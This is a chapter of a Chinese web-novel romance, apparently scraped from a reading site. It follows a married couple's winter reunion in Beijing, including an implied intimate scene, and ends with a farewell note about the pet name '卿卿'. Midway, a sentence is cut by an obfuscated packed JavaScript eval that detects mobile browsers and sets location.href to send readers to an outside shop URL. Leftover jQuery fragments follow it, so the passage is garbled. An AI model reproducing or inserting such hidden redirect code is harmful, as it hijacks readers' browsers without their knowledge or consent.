100. 番外三

作品:《过春光

    冬季的北京,寒风凛冽,干燥的冷风拂过面颊,带出疼意,细小的雪花落在发顶、额边。


    刚出京大校园会议中心,梁钟润和同行闲聊几句会议上的话题,便转身打车回了家中。


    广南大学放寒假后,梁钟润就带着办公电脑和麦青一起住在她北京的房子里,京大的这场会议是主办方得知他在北京特意邀请他来主持分享他的新成果,地点不远,他欣然接受。


    回到家里,天色已黑,这些日子北方的天总是黑得很快,不过五六点就天黑下来。


    好在外面冷得彻骨,但是北方冬季的地暖足够暖熏,进门前,他拂过黑色大衣肩头的雪花,一进来,地暖的热气扑面而来。


    他下意识地搜寻她的身影,不在楼下,他陪同她在北京一起度过的日子里,她总是接二连三有事情,工作上的忙碌时时出现,她在北京开了公司,后来又做了自己的录音棚,她的事业在不断变好,他们在北京度过的夜晚却没有多少,不过他还是很愉悦,可以等候她归来的日子。


    她早上被韩雨旸叫出门飞一趟外地参加商演,他下意识想,她今夜应该不会回来了。


    放下公文包,脱掉外衣,露出里面的黑色衬衫,换了拖鞋,他解下领带,往楼下走去,直直进了浴室,他正要按热水器,却发现温度刚好。


    他放开浴缸的热水,渐渐地,水流铺满了浴缸的中上高度,衬衫、西裤落在一旁的手台,她的浴缸是圆形的,她好像很喜欢这种圆形的东西,比如圆床、圆形的浴缸,还有圆圆的小熊,曾经听人说过,这是一种渴望安全感的表现。


    热水流经全身,冷彻的寒意被驱离身体,他一转头,看见她常用的洗发水、沐浴露,都是香甜的味道。


    下一秒,门突然开了。


    他坐起身,看见原本应该在外地的麦青踩着拖鞋,穿着一身粉色睡袍,头发垂落胸前,睡眼惺忪地走过来。


    麦青睁大了眼睛,他——


    眼前的梁钟润坐在她的圆形浴缸,浴缸不大,所以他盘着腿坐在这里,他烫过的茂密短发,结合平常的清峻脸庞,很正经,目光掠过他在手台放的衬衫、西裤,她脑子有点嗡声乱作。


    浴室的灯明亮如昼,梁钟润的眸光微烁,“我以为——你不在。”


    麦青噢一声,“我在隔壁的房间睡觉,你知道,雨旸她搬走了——”


    梁钟润微微颔首,“嗯——”


    麦青的一只腿微抬,手指在身后局促地扭缠,“我坐一班飞机提早回来了,天气很冷,我热了水——”


    梁钟润迟疑一会儿,“我、看到水刚好热了,外面下雪,所以用了。”


    半晌,麦青作出转身的动作一半,“那,我先回去吧,你先洗——”


    这怎么行?是她热的水,他直接用了,让妻子最后洗,这不是太没有做丈夫的担当了吗?


    梁钟润的眸光复杂地交缠,最终试探问道:“要不,一起?”


    浴室的热气在缓缓盘升,氤氲过头,湮没所有的空间。


    粉色睡袍滑落在纤细小腿边,女声发出——“也好。”


    浴缸的水面又涨了一些,刚好到它的最高限度,过了一会儿,水面不断粼动,翻溢出浴缸外,交错的喘息声不断。


    良久,水面重新到了中上的高度,风平浪静,波面无动。


    麦青抱着他的脖颈,她的下颌贴近他的发顶,膝盖抵着浴缸的瓷面已经有些疼痛,脱力下,她慢慢滑坐下跌,幸好他的手臂托住了她,在她腰上的手臂下滑到水面,温柔中喑哑道:“水温低了,我重新热水吧。”


    麦青靠在他的肩膀上,吻了吻他的脖颈,微喘道:“先回去吧,一会儿再过来。”


    梁钟润俯首默默注视她一会儿,抱起她,踏出浴缸,拿着毛巾擦拭水珠。


    下一刻,卧室的门开,男人修长结实的小腿随着一双更纤细白皙的小腿变换着位置角度,踩在羊毛地毯上,不时胝足,不时脚跟贴着脚尖,凌乱而无序。


    最终男人的小腿贴近了床边,另一双白皙的脚跟靠近了脚背,悬空。


    梁钟润抱着她,吻落在她耳后,渐渐滑落在后颈,沿着脊柱下滑。


    地暖的热气充斥屋子,让人出了一身汗,麦青的意识如同海中叶舟,不经意低头,目光浅掠横过莹白、挤压沟壑的手臂,不自觉地抓紧盘桓在腰腹的另一只手臂。


    慢慢地,她随着他倒在她过去一直入睡的软床上,带着熟悉洗涤剂味道的被子遮蔽了视线,在昏暗密闭的环境里,汗出得越来越多。


    良久,她探出被子,流动的空气涌入鼻腔,她趴在枕头上,大口呼吸,疲倦随即涌来。


    梁钟润枕靠在她的一侧,抱住她的腰,他轻轻抚摸她汗湿的长发,在她白皙的后背吻了吻,最终沉入夜梦。


    *


    清早,在暖气的热熏和阳光的刺目中,麦青醒转过来,身边没人,她踩着拖鞋转而进了浴室,水已经热好,她收回了正欲按键的手。


    在浴缸热水的冲刷下,逐渐神清气爽,麦青换了一套睡衣,纯白的小熊款长衣长袖的睡衣,不需要穿绒毛款,因为地暖实在太热,昨天的时候本来就想换的。


    刷牙梳头过后,她走出洗漱间,踩着拖鞋往楼下走去。


    钟润正在后厨忙活,她听见面包机工作的声音,也听见她小电锅压烤肠发出的滋滋冒油声,还有微波炉叮热牛奶的声音。


    忽然有点不可置信,她走得快了一点,恰好梁钟润端着两杯牛奶到餐桌边,见她过来,眼中含笑,“洗过澡了?那就吃点东西吧——”


    麦青不自觉地靠近,拉出凳子,坐在上面,攥着一杯热牛奶,缓缓喝下。


    梁钟润又端着烤面包,上面涂了蓝莓果酱,还有烤肠,这些食材都在她的冰箱里,平时她也会用,看来他观察得很仔细嘛。


    麦青拿起一张面包片,咀嚼咽下,问道:“你多会儿起的?”


    梁钟润举止矜持地进食,回答道:“没多久,天亮,我就醒了。”


    这几天六点多


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200243|193574||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    天就亮了,昨天其实很晚,这样看,他好像睡不了多少时间。


    麦青有点心疼地捧着他的下颌,“一会儿你再多睡一觉,总之一天再少也不能少于八个小时——知道了吗?梁钟润。”


    梁钟润笑着轻轻摩挲她的手指,“我明白的,青青。”


    吃过早饭,她中午还有工作,参加一场晚会,要早点去化妆,离开家前吻了吻他的唇,“梁钟润,我爱你。”


    梁钟润同样亲了亲她的脸颊,“我也是,青青。”


    看着他温柔而静谧的眼神,麦青总是会产生一种不忍的感觉,不想和他分开,她抱住他的脖颈,忽然暗暗抱怨,“你知道康总怎么叫雨旸吗?他们热恋中的男女都互相叫对方宝宝,梁钟润——”


    她抬起头,注视着他,“你叫我青青,和所有叫我的人一样啊——”


    面对她眼中的委屈,梁钟润有点错愕,他不知该如何应对,因为他很难想象以他三十来岁的年纪还要和爱人互叫宝宝。


    不过下一刻,他就感到她抱紧了他,在他耳边道:“你别怕,我不是真抱怨,我是想,特别想,真的想在你这里是独一无二的存在——”


    “不过,无论如何,我总是喜欢你的,梁钟润。”


    暖意浸透心脏,他眼中流露爱恋,轻抚她的背脊,“我知道,我一直都知道。”


    麦青出门,家里又变得冷清,寒假已经到末尾,来北京的一个多月,虽然不能时时相聚,但他很满足,现在要回广南,怕她不舍,没敢同她说。


    最终,他在餐桌边坐了许久,又忙活着拿出冰箱里的肉切成条做回锅肉,密封,放进冰箱。


    坐了一会儿,拿出笔和字条写写划划,放在洗好的水果筐边压着。


    再看了看航班的时间,拉着行李出了门。


    一天的时间漫长到足够做不止一件事,一天的时间也短暂到短短几餐便是深夜,快快送她回家的车停下,告别后,麦青拎着手提包回到家中,开了门,她愉悦地喊,“梁钟润,我回来了——我回来了——”


    “你——”


    细细一看,他已经没有踪影,他的行李箱和外套都不在了。


    恼恨的情绪上涌,他要走,怎么不早点和她说呢?偏偏在那么幸福时光过后?他跑了?他嫌弃她冷落了他?


    她走到餐桌边,拿起一颗玫瑰葡萄放入口中,走的时候还没有,应该是他洗过的。


    她留意到压着的字条——“亲卿爱卿,是以卿卿;我不卿卿,谁当卿卿?”


    亲你爱你,所以叫你‘卿卿’,我不称呼你为‘卿卿’,谁是‘卿卿’呢?


    心跳蓦然变快,他走了吗?为何还能让人心跳飞快?


    他说——他叫她的是‘卿卿’,不是青青啊。


    汹涌猛烈的情绪过后,她珍藏这张字条,细细去想,噢,他之前说过他放假的日期,现在放假快结束了,当然要回广南去。


    生气也生气不起来,等她回去,她要让他多叫几声——‘卿卿’。